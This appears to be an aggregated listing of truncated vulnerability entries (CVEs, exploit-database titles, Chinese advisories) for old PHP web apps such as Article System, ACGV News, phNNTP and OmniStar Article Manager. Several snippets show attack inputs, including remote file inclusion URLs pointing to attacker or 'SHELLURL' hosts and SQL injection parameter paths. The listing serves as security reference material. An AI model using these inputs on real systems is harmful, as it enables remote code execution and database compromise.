CVE-2007-0314

Multiple PHP remote file inclusion vulnerabilities in Article System 1.0 allow remote attackers to execute arbitrary PHP code via a URL in the INCLUDEDIR parameter to 1 forms.php, 2 issueedit.php, 3 client.php, and 4 classes.php...

Article System远程文件包含漏洞

Article System是一款基于PHP的WEB应用程序。 Article System不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是多个脚本对用户提交的'INCLUDEDIR'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 Article System 1.0 http://artsys.sourceforge.net/ http://example.com/scriptpath/include/forms.php?INCLUDEDIR=attacker's site...

CVE-2006-6925

Multiple cross-site scripting XSS vulnerabilities in bitweaver 1.3.1 and earlier allow remote attackers to inject arbitrary web script or HTML via 1 the message title field when submitting an article to articles/edit.php, 2 the message title field when submitting a blog post to blogs/post.php, or...

Article System 0.1 (INCLUDE_DIR) Remote File Include Vulnerabilities

No description provided by source. Script:Article System Affected Version:1.0 Download:http://kent.dl.sourceforge.net/sourceforge/artsys/artsys-0.1-20020705.tar.gz Author:Dr Max Virus &nbs...

Article System 0.1 (INCLUDE_DIR) Remote File Include Vulnerabilities

Script:Article System Affected Version:1.0 Download:http://kent.dl.sourceforge.net/sourceforge/artsys/artsys-0.1-20020705.tar.gz Author:Dr Max Virus Bug in:/path/include Vul Code; requireonce "$INCLUDEDIR/classes/class.formitem.php"; POC:...

Article System 0.1 - INCLUDE_DIR Remote File Inclusion

Article System 0.1 - INCLUDEDIR Remote File Inclusion Script:Article System Affected Version:1.0 Download:http://kent.dl.sourceforge.net/sourceforge/artsys/artsys-0.1-20020705.tar.gz Author:Dr Max Virus Bug in:/path/include Vul Code; requireonce "$INCLUDEDIR/classes/class.formitem.php"; POC:...

Article System 0.1 (INCLUDE_DIR) Remote File Include Vulnerabilities

Exploit for unknown platform in category web applications ==================================================================== Article System 0.1 INCLUDEDIR Remote File Include Vulnerabilities ==================================================================== Script:Article System Affected...

Article System 0.1 - 'INCLUDE_DIR' Remote File Inclusion

Script:Article System Affected Version:1.0 Download:http://kent.dl.sourceforge.net/sourceforge/artsys/artsys-0.1-20020705.tar.gz Author:Dr Max Virus Bug in:/path/include Vul Code; requireonce "$INCLUDEDIR/classes/class.formitem.php"; POC:...

ACGV News Article.PHP远程文件包含漏洞

ACGV News是一款基于PHP的新闻管理程序。 ACGV News不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'Article.PHP'脚本对用户提交的'PathNews'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 ACGV News 0.9.1 http://www.acgv.fr.st/ http://www.example.com/ScriptPath/article.php?PathNews=http://SHELLURL.COM?...

phNNTP <= 1.3 (article-raw.php) Remote File Include Vulnerability

No description provided by source. phNNTP v1.3 Remote File Inclusion CreW: ToxiC Bug Found By Drago84 Source Code: http://freshmeat.net/redir/phnntp/16290/urltgz/phNNTP-v1.3.tar.gz Problem Is: require"$filenewsportal"; Page Affect: article-raw.php Path: Declare filenewsportal ExP:...

GLSA-200611-18 : TIN: Multiple buffer overflows

The remote host is affected by the vulnerability described in GLSA-200611-18 TIN: Multiple buffer overflows Urs Janssen and Aleksey Salow have reported multiple buffer overflows in TIN. Additionally, the OpenPKG project has reported an allocation off-by-one flaw which can lead to a buffer overflo...

TIN: Multiple buffer overflows

Background TIN is a threaded NNTP and spool based UseNet newsreader for a variety of platforms. Description Urs Janssen and Aleksey Salow have reported multiple buffer overflows in TIN. Additionally, the OpenPKG project has reported an allocation off-by-one flaw which can lead to a buffer overflo...

CVE-2006-5917

Multiple SQL injection vulnerabilities in OmniStar Article Manager allow remote attackers to execute arbitrary SQL commands via the 1 articleid parameter in a articles/comments.php and b articles/article.php, and the 2 pageid parameter in c articles/pages.php...

CVE-2006-5917

Multiple SQL injection vulnerabilities in OmniStar Article Manager allow remote attackers to execute arbitrary SQL commands via the 1 articleid parameter in a articles/comments.php and b articles/article.php, and the 2 pageid parameter in c articles/pages.php...

CVE-2006-5917

Affected software: OmniStar Article Manager. Vulnerability details: Multiple SQL injection vulnerabilities allow remote attackers to execute arbitrary SQL via (1) article_id in articles/comments.php and articles/article.php, and (2) page_id in articles/pages.php. Root cause: improper handling of ...

PT-2006-6584 · Omnistar · Omnistar Article Manager

Name of the Vulnerable Software and Affected Versions: OmniStar Article Manager affected versions not specified Description: The issue concerns SQL injection vulnerabilities that allow remote attackers to execute arbitrary SQL commands. This is possible via the article id parameter in...

Microsoft Security Bulletin MS06-069 Vulnerabilities in Macromedia Flash Player from Adobe Could Allow Remote Code Execution (923789)

Microsoft Security Bulletin MS06-069 Vulnerabilities in Macromedia Flash Player from Adobe Could Allow Remote Code Execution 923789 Published: November 14, 2006 Version: 1.0 Summary Who Should Read this Document: Customers who use Microsoft Windows Impact of Vulnerability: Remote Code Execution...

omnistar-SQL.txt

vendor site:http://www.omnistararticle.com/ product :omnistar article manager bug:injection sql risk : high path: /articles/comments.php?articleid='sql /articles/article.php?op=save&articleid='sql /articles/pages.php?pageid='sql laurent gaffié & benjamin mossé http://s-a-p.ca/ contact:...

omnistar article manager [multiples injection sql]

vendor site:http://www.omnistararticle.com/ product :omnistar article manager bug:injection sql risk : high path: /articles/comments.php?articleid='sql /articles/article.php?op=save&articleid='sql /articles/pages.php?pageid='sql laurent gaffiй & benjamin mossй http://s-a-p.ca/ contact:...

Omnistar Article Manager - Multiple SQL Injections

Omnistar Article Manager - Multiple SQL Injections source: https://www.securityfocus.com/bid/20990/info Omnistar Article Manager is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. A successful...